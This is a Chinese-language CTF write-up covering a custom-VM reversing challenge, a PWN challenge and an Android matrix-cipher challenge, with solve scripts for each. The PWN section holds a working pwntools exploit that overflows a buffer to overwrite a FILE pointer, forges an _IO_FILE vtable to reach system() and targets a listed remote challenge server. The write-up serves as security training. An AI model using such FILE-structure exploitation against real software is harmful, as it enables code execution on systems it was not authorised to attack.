r0 = rA;
r0 &= 0xE0;
r0 >>= 0x05;
r0 &= 0xFF;
r4 = r0;
r3 = 0;

0x28,               // enter the loop
loop:
0x09, 0x0A, 0x02,   // ldr_int rA, r2
0x01, 0x00, 0x0A,   // mov r0, rA
0x18, 0x00, 0x1F,   // and r0, 0x1F
0x20, 0x00, 0x03,   // shl r0, 0x03
0x1B, 0x05, 0x00,   // push r5, r0
0x07, 0x08, 0x05,   // lea_int r8, r5
0x0E, 0x08, 0xE0,   // add r8, 0xE0
0x07, 0x02, 0x08,   // lea_int r2, r8
0x09, 0x0A, 0x02,   // ldr_int rA, r2
0x01, 0x00, 0x0A,   // mov, r0, rA
0x18, 0x00, 0xE0,   // and r0, 0xE0
0x1E, 0x00, 0x05,   // shr r0, 0x05
0x1D, 0x05, 0x0A,   // pop r5, rA
0x0D, 0x0A, 0x00,   // add rA, r0
0x1B, 0x05, 0x0A,   // push r5, rA
0x0C, 0x03, 0x01,   // add r3, 0x01
0x24, 0x03, 0x1F,   // cmpl r3, 0x1F
0x28,               // jl loop

while(1)    // loop 0x1F times
{
    rA = r2;
    r0 = rA;
    r0 &= 0x1F;
    r0 <<= 0x03;
    r0 &= 0xFF;
    r5 = r0 + 1;
    r8 = r5;
    r8 += 0xE0;
    r2 = r8;
    rA = r2;
    r0 = rA;
    r0 &= 0xE0;
    r0 >>= 0x05;
    r0 &= 0xFF;
    rA = r5 - 1;
    rA += r0;
    r5 = rA + 1;
    r3 += 1;
    if(r3 >= 0x1F)
        break;
}

0x09, 0x0A, 0x02,   // ldr_int rA, r2
0x01, 0x00, 0x0A,   // mov r0, rA
0x18, 0x00, 0x1F,   // and r0, 0x1F
0x20, 0x00, 0x03,   // shl r0, 0x03
0x0D, 0x00, 0x04,   // add r0, r4
0x1B, 0x05, 0x00,   // push r5, r0
0x13, 0x03, 0x03,   // xor r3, r3
0x03, 0x04, 0x0D,   // mov, r4, rD  // 0xEFBEADDE
0x28,               // enter the loop

rA = r2;
r0 = rA;
r0 &= 0x1F;
r0 <<= 0x03;
r0 &= 0xFF;
r0 += r4;
r5 = r0 + 1;
r3 = 0;
r4 = rD;

loop:
0x07, 0x08, 0x05,   // lea_int r8, r5
0x0E, 0x08, 0xE0,   // add r8, 0xE0
0x07, 0x02, 0x08,   // lea_int r2, r8
0x09, 0x0A, 0x02,   // ldr_int rA, r2
0x01, 0x00, 0x0A,   // mov, r0, rA
0x1B, 0x05, 0x00,   // push r5, r0
0x01, 0x00, 0x04,   // mov r0, r4
0x0D, 0x00, 0x03,   // and r0, r3
0x1D, 0x05, 0x0A,   // pop r5, rA
0x13, 0x0A, 0x00,   // xor rA, r0
0x1B, 0x05, 0x0A,   // push r5, rA
0x22, 0x04, 0x08,   // ror r4, 0x08
0x0C, 0x03, 0x01,   // add r3, 0x01
0x24, 0x03, 0x20,   // cmpl r3, 0x20
0x28,               // jl loop

while(1)    // loop 0x20 times
{
    r8 = r5;
    r8 += 0xE0;
    r2 = r8;
    rA = r2;
    r0 = rA;
    r5 = r0 + 1;
    r0 = r4;
    r0 += r3;
    rA = r5 - 1;
    rA ^= r0;
    r5 = rA + 1;
    r4 = (1 << 8 - 1) & (r4 << 24) + ((1 << 24 - 1) & (r4 >> 8));
    r3 += 1;
    if(r3 >= 0x20)
        break;
}

0x13, 0x03, 0x03,   // xor r3, r3
0x13, 0x04, 0x04,   // xor r4, r4
0x05, 0x01, 0x0C,   // mov r1, rC   // enc
0x28,               // enter the loop

r3 = r4 = 0;
r1 = rC;

loop:
0x05, 0x09, 0x01,   // mov r9, r1
0x11, 0x09, 0x03,   // add_pch r9, r3
0x0B, 0x0A, 0x09,   // ldr_ch rA, r9
0x01, 0x00, 0x0A,   // mov r0, rA
0x1B, 0x05, 0x00,   // push r5, r0
0x07, 0x08, 0x05,   // lea_int r8, r5
0x0E, 0x08, 0xDF,   // add r8, 0xDF
0x09, 0x0A, 0x08,   // ldr_int rA, r8
0x1D, 0x05, 0x00,   // pop r5, r0
0x1B, 0x05, 0x00,   // push r5, r0
0x27, 0x00, 0x0A,   // cmpeq r0, rA
0x17, 0x04, 0x07,   // mov r4, r4 | r7
0x0C, 0x03, 0x01,   // add r3, 0x01
0x24, 0x03, 0x20,   // cmpl r3, 0x20
0x28                // jl loop

while(1)    // loop 0x20 times
{
    r9 = r1;
    r9 += r3;
    rA = r9;
    r0 = rA;
    r5 = r0 + 1;
    r8 = r5;
    r8 += 0xDF;
    rA = r8;
    r0 = r5 - 1;
    r5 = r0 + 1;
    r0 != rA
    r4 |= r7;
    r3 += 1;
    if(r3 >= 0x20)
        break;
}

其实还是挺清楚的,可以逆出来。脚本如下:

# reverse step3
enc1 = [0x75, 0x85, 0xD1, 0x39, 0x0B, 0x29, 0xCD, 0x77, 0x6D, 0x9F, 0x73, 0x23, 0x61, 0x8B, 0x4D, 0x45, 0x9D, 0x8F, 0x5B, 0x11, 0xC1, 0xC9, 0xE5, 0xCF, 0x45, 0xE5, 0xB1, 0xB3, 0x41, 0xD9, 0xCF, 0xCF]
key = [0xDE, 0xAD, 0xBE, 0xEF]
enc2 = [enc1[i] ^ ((key[i % 4] + i) & 0xFF) for i in range(32)]
# reverse step2
enc3 = [0 for i in range(32)]
def f(a, b):
    return ((a << 5) & 0xE0 | (b >> 3) & 0x1F)
for i in range(1, 32):
    enc3[i] = f(enc2[i - 1], enc2[i])
enc3[0] = f(enc2[31], enc2[0])
# reverse step1
enc4 = [0 for i in range(32)]
j = 0
for i in range(32):
    j += 0x33
    enc4[j % 0x20] = enc3[i]
flag = ''
for ch in enc4:
    flag += chr(ch)
print flag

PWN

Challenge1

利用了 _IO_FILE 的相关漏洞,和之前一道练习题很类似:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int c; // [rsp+Ch] [rbp-4h]

  stream = fopen("test.txt", "r");
  init_func();
  while ( 1 )
  {
    while ( 1 )
    {
      putchar('>');
      c = readline();
      if ( c != 1 )
        break;
      get_s();
    }
    if ( c != 2 )
      break;
    put_s();
  }
  if ( c == 3 )
    close_stream();
  return 0LL;
}

输入的 s 可以覆盖掉 stream 指针,偏移是 0x100。

.bss:00000000006010C0 s               db 100h dup(?)          ; DATA XREF: get_s+4↑o
.bss:00000000006010C0                                         ; put_s+4↑o
.bss:00000000006011C0 ; FILE *stream
.bss:00000000006011C0 stream          dq ?                    ; DATA XREF: close_stream+4↑r

关于 _IO_FILE 一些 symbol 在 gdb 里可以看:

assassinq>> p sizeof(FILE)
$1 = 0xd8
assassinq>> p sizeof(struct _IO_FILE_plus)
$2 = 0xe0
assassinq>> p *(struct _IO_FILE_plus *)stdin
$3 = {
  file = {
    _flags = 0xfbad208b,
    _IO_read_ptr = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "",
    _IO_read_end = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "",
    _IO_read_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
    _IO_write_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
    _IO_write_ptr = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
    _IO_write_end = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
    _IO_buf_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
    _IO_buf_end = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0x0,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "\n",
    _lock = 0x7ffff7dd18d0 <_IO_stdfile_0_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7dcfae0 <_IO_wide_data_0>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
assassinq>> p *((struct _IO_FILE_plus *)stdin).vtable
$4 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7ffff7a70330 <_IO_new_file_finish>,
  __overflow = 0x7ffff7a71300 <_IO_new_file_overflow>,
  __underflow = 0x7ffff7a71020 <_IO_new_file_underflow>,
  __uflow = 0x7ffff7a723c0 <__GI__IO_default_uflow>,
  __pbackfail = 0x7ffff7a73c50 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7ffff7a6f930 <_IO_new_file_xsputn>,
  __xsgetn = 0x7ffff7a6f590 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7a6eb90 <_IO_new_file_seekoff>,
  __seekpos = 0x7ffff7a72990 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7a6e850 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7a6e6d0 <_IO_new_file_sync>,
  __doallocate = 0x7ffff7a62100 <__GI__IO_file_doallocate>,
  __read = 0x7ffff7a6f910 <__GI__IO_file_read>,
  __write = 0x7ffff7a6f190 <_IO_new_file_write>,
  __seek = 0x7ffff7a6e910 <__GI__IO_file_seek>,
  __close = 0x7ffff7a6e840 <__GI__IO_file_close>,
  __stat = 0x7ffff7a6f180 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7a73dd0 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7a73de0 <_IO_default_imbue>
}

想法是把 stream 覆盖成 bss 上构造的部分,fclose 就会触发 system,Exploit:

#!/usr/bin/env python
from pwn import *
binary = './task_challenge1'
elf = ELF(binary)
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local:
    p = process(binary)
else:
    p = remote('202.112.51.184', 30003)
ub_offset = 0x3c4b30
p.sendlineafter('>', '1')
gdb.attach(p)
buf_addr = 0x6010C0
system = 0x400897
payload = (
    ((('\0' * 0x10 + p64(system) + '\0' * 70).ljust(0x88,'\0') + p64(buf_addr)).ljust(0xd8, '\0') + p64(buf_addr)).ljust(0x100, '\0') +
    p64(buf_addr)
)
p.sendline(payload)
p.sendlineafter('>', '3')
p.interactive()

MOBILE

SWAG

拖进 jadx,直接看 Mainactivity 中的函数,可以知道对输入数据进行了长度的判断和内容的正则判断。然后还存在 native 层,需要对 so 文件分析。

在 ida 里能看出经过两次加密过程,仔细发现其实是矩阵的一些操作,先对矩阵转置:

char **__fastcall matrix_transpos(char **matrix)
{
  char *v1; // x8
  char *v2; // x11
  char *v3; // x8
  char *v4; // x8
  char *v5; // x8
  char *v6; // x8
  char *v7; // x8
  char *v8; // x9
  char *v9; // x8
  char *v10; // x9
  char *v11; // x8
  char *v12; // x9
  char *v13; // x8
  char *v14; // x9
  char *v15; // x8
  char *v16; // x9
  char *v17; // x8
  char *v18; // x9
  char *v19; // x8
  char *v20; // x9
  char *v21; // x8
  char *v22; // x9
  char *v23; // x8
  char *v24; // x9
  char *v25; // x8
  char *v26; // x9

  v1 = matrix[1];
  LODWORD(v2) = *((_DWORD *)*matrix + 1);
  *((_DWORD *)*matrix + 1) = *(_DWORD *)v1;
  *(_DWORD *)v1 = (_DWORD)v2;
  v3 = matrix[2];
  LODWORD(v2) = *((_DWORD *)*matrix + 2);
  *((_DWORD *)*matrix + 2) = *(_DWORD *)v3;
  *(_DWORD *)v3 = (_DWORD)v2;
  v4 = matrix[3];
  LODWORD(v2) = *((_DWORD *)*matrix + 3);
  *((_DWORD *)*matrix + 3) = *(_DWORD *)v4;
  *(_DWORD *)v4 = (_DWORD)v2;
  v5 = matrix[4];
  LODWORD(v2) = *((_DWORD *)*matrix + 4);
  *((_DWORD *)*matrix + 4) = *(_DWORD *)v5;
  *(_DWORD *)v5 = (_DWORD)v2;
  v6 = matrix[5];
  LODWORD(v2) = *((_DWORD *)*matrix + 5);
  *((_DWORD *)*matrix + 5) = *(_DWORD *)v6;
  *(_DWORD *)v6 = (_DWORD)v2;
  v8 = matrix[1];
  v7 = matrix[2];
  LODWORD(v2) = *((_DWORD *)v8 + 2);
  *((_DWORD *)v8 + 2) = *((_DWORD *)v7 + 1);
  *((_DWORD *)v7 + 1) = (_DWORD)v2;
  v9 = matrix[3];
  v10 = matrix[1];
  LODWORD(v2) = *((_DWORD *)v10 + 3);
  *((_DWORD *)v10 + 3) = *((_DWORD *)v9 + 1);
  *((_DWORD *)v9 + 1) = (_DWORD)v2;
  v11 = matrix[4];
  v12 = matrix[1];
  LODWORD(v2) = *((_DWORD *)v12 + 4);
  *((_DWORD *)v12 + 4) = *((_DWORD *)v11 + 1);
  *((_DWORD *)v11 + 1) = (_DWORD)v2;
  v13 = matrix[5];
  v14 = matrix[1];
  LODWORD(v2) = *((_DWORD *)v14 + 5);
  *((_DWORD *)v14 + 5) = *((_DWORD *)v13 + 1);
  *((_DWORD *)v13 + 1) = (_DWORD)v2;
  v16 = matrix[2];
  v15 = matrix[3];
  LODWORD(v2) = *((_DWORD *)v16 + 3);
  *((_DWORD *)v16 + 3) = *((_DWORD *)v15 + 2);
  *((_DWORD *)v15 + 2) = (_DWORD)v2;
  v17 = matrix[4];
  v18 = matrix[2];
  LODWORD(v2) = *((_DWORD *)v18 + 4);
  *((_DWORD *)v18 + 4) = *((_DWORD *)v17 + 2);
  *((_DWORD *)v17 + 2) = (_DWORD)v2;
  v19 = matrix[5];
  v20 = matrix[2];
  LODWORD(v2) = *((_DWORD *)v20 + 5);
  *((_DWORD *)v20 + 5) = *((_DWORD *)v19 + 2);
  *((_DWORD *)v19 + 2) = (_DWORD)v2;
  v22 = matrix[3];
  v21 = matrix[4];
  LODWORD(v2) = *((_DWORD *)v22 + 4);
  *((_DWORD *)v22 + 4) = *((_DWORD *)v21 + 3);
  *((_DWORD *)v21 + 3) = (_DWORD)v2;
  v23 = matrix[5];
  v24 = matrix[3];
  LODWORD(v2) = *((_DWORD *)v24 + 5);
  *((_DWORD *)v24 + 5) = *((_DWORD *)v23 + 3);
  *((_DWORD *)v23 + 3) = (_DWORD)v2;
  v26 = matrix[4];
  v25 = matrix[5];
  LODWORD(v2) = *((_DWORD *)v26 + 5);
  *((_DWORD *)v26 + 5) = *((_DWORD *)v25 + 4);
  *((_DWORD *)v25 + 4) = (_DWORD)v2;
  return matrix;
}

再将两个矩阵相乘:

char *__fastcall matrix_inverse(char *matrix, char *data)
{
  char *v2; // x19
  char *v3; // x22
  char *v4; // x20
  char *v5; // x21
  char *v6; // x0
  __int64 i; // x8
  char *v8; // x9
  char *v9; // x10
  __int64 j; // x11

  v2 = matrix;
  v3 = data;
  v4 = (char *)malloc(48LL);
  v5 = (char *)malloc(24LL);
  *(_QWORD *)v4 = v5;
  *((_QWORD *)v4 + 1) = malloc(24LL);
  *((_QWORD *)v4 + 2) = malloc(24LL);
  *((_QWORD *)v4 + 3) = malloc(24LL);
  *((_QWORD *)v4 + 4) = malloc(24LL);
  v6 = (char *)malloc(24LL);
  i = 0LL;
  *((_QWORD *)v4 + 5) = v6;
  while ( 1 )
  {
    v9 = *(char **)&v2[8 * i];
    j = 0LL;
    do
    {
      v8 = v3 + 72;
      *(_DWORD *)&v5[j] = *(_DWORD *)&v8[j - 72] * *(_DWORD *)v9
                        + *(_DWORD *)&v8[j - 48] * *((_DWORD *)v9 + 1)
                        + *(_DWORD *)&v8[j - 24] * *((_DWORD *)v9 + 2)
                        + *(_DWORD *)&v8[j] * *((_DWORD *)v9 + 3)
                        + *(_DWORD *)&v8[j + 24] * *((_DWORD *)v9 + 4)
                        + *(_DWORD *)&v8[j + 48] * *((_DWORD *)v9 + 5);
      j += 4LL;
    }
    while ( j != 24 );
    if ( ++i == 6 )
      break;
    v5 = *(char **)&v4[8 * i];
  }
  return v4;
}

那么这个过程用 numpy 就能解出来,解题脚本:

from numpy import *
enc = [
    0x0004E36B, 0x000362D6, 0x0003D5F1, 0x00063C4C, 0x00066AF7, 0x000418B7,
    0x0004BE2E, 0x00035571, 0x0003DA7F, 0x00060D4A, 0x0006423A, 0x0003FC18,
    0x0003A3B6, 0x0002FBEE, 0x00038F5B, 0x000509E4, 0x00057DAE, 0x00037D25,
    0x0002E69A, 0x00028B2A, 0x000363B1, 0x00041DAE, 0x00049FA8, 0x0002D536,
    0x0003B440, 0x00028D5B, 0x0003AF48, 0x00051F80, 0x00059294, 0x00030E5F,
    0x00047CF0, 0x00034F47, 0x00033520, 0x000547A8, 0x000581E0, 0x0003E875
]
data = [
    0x00000106, 0x00000245, 0x0000009C, 0x000001E2, 0x00000224, 0x0000027A,
    0x00000112, 0x000000AE, 0x00000323, 0x000003C4, 0x00000370, 0x000000DC,
    0x00000387, 0x0000001E, 0x000000B6, 0x000003D8, 0x0000035D, 0x0000013A,
    0x000002B9, 0x00000162, 0x00000083, 0x00000225, 0x00000057, 0x0000018C,
    0x00000109, 0x0000021B, 0x00000319, 0x000000EE, 0x000002C1, 0x000001D5,
    0x0000023A, 0x0000019A, 0x00000145, 0x0000025E, 0x0000032A, 0x000001D6
]
trans_data = mat(data).reshape(6, 6)
trans_enc = mat(enc).reshape(6, 6)
trans = trans_enc * trans_data.I
res = trans.T.reshape(1, 36).tolist()[0]
flag = ''
for ch in res:
    flag += chr(int(round(ch)))
print(flag)

因为还没学过线代,还没看懂的时候,硬生生现学现用 z3 把矩阵求逆的过程解出来了,所以顺便贴一波现学的 z3 脚本:

from z3 import *
enc = [0x0004E36B, 0x000362D6, 0x0003D5F1, 0x00063C4C, 0x00066AF7, 0x000418B7, 0x0004BE2E, 0x00035571, 0x0003DA7F, 0x00060D4A, 0x0006423A, 0x0003FC18, 0x0003A3B6, 0x0002FBEE, 0x00038F5B, 0x000509E4, 0x00057DAE, 0x00037D25, 0x0002E69A, 0x00028B2A, 0x000363B1, 0x00041DAE, 0x00049FA8, 0x0002D536, 0x0003B440, 0x00028D5B, 0x0003AF48, 0x00051F80, 0x00059294, 0x00030E5F, 0x00047CF0, 0x00034F47, 0x00033520, 0x000547A8, 0x000581E0, 0x0003E875]
data = [0x00000106, 0x00000245, 0x0000009C, 0x000001E2, 0x00000224, 0x0000027A, 0x00000112, 0x000000AE, 0x00000323, 0x000003C4, 0x00000370, 0x000000DC, 0x00000387, 0x0000001E, 0x000000B6, 0x000003D8, 0x0000035D, 0x0000013A, 0x000002B9, 0x00000162, 0x00000083, 0x00000225, 0x00000057, 0x0000018C, 0x00000109, 0x0000021B, 0x00000319, 0x000000EE, 0x000002C1, 0x000001D5, 0x0000023A, 0x0000019A, 0x00000145, 0x0000025E, 0x0000032A, 0x000001D6]
i = 0
res = ''
while(1):
    s = Solver()
    n0 = Int('n0')
    n1 = Int('n1')
    n2 = Int('n2')
    n3 = Int('n3')
    n4 = Int('n4')
    n5 = Int('n5')
    s.add(enc[i * 6 + 0] == n0 * data[0] + n1 * data[6] + n2 * data[12] + n3 * data[18] + n4 * data[24] + n5 * data[30])
    s.add(enc[i * 6 + 1] == n0 * data[1] + n1 * data[7] + n2 * data[13] + n3 * data[19] + n4 * data[25] + n5 * data[31])
    s.add(enc[i * 6 + 2] == n0 * data[2] + n1 * data[8] + n2 * data[14] + n3 * data[20] + n4 * data[26] + n5 * data[32])
    s.add(enc[i * 6 + 3] == n0 * data[3] + n1 * data[9] + n2 * data[15] + n3 * data[21] + n4 * data[27] + n5 * data[33])
    s.add(enc[i * 6 + 4] == n0 * data[4] + n1 * data[10] + n2 * data[16] + n3 * data[22] + n4 * data[28] + n5 * data[34])
    s.add(enc[i * 6 + 5] == n0 * data[5] + n1 * data[11] + n2 * data[17] + n3 * data[23] + n4 * data[29] + n5 * data[35])
    s.check()
    print s.model()
    if i == 5:
        break
    i += 1

参考网站

http://yugod.xmutsec.com/index.php/2018/08/10/42.html
https://www.jianshu.com/p/028c0c6270c3
https://github.com/krx/CTF-Writeups/tree/master/CSAW%2016%20Quals/for150%20-%20Yaar%20Haar%20Fiddle%20Dee%20Dee
https://www.xctf.org.cn/library/details/9ab7dca891b9e53206b9aec7ab13ac9a95fbf66d/?from=groupmessage&isappinstalled=0
https://www.jianshu.com/p/110f715c210f


ctf wp

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

2018-XMan结营赛
2018-QCTF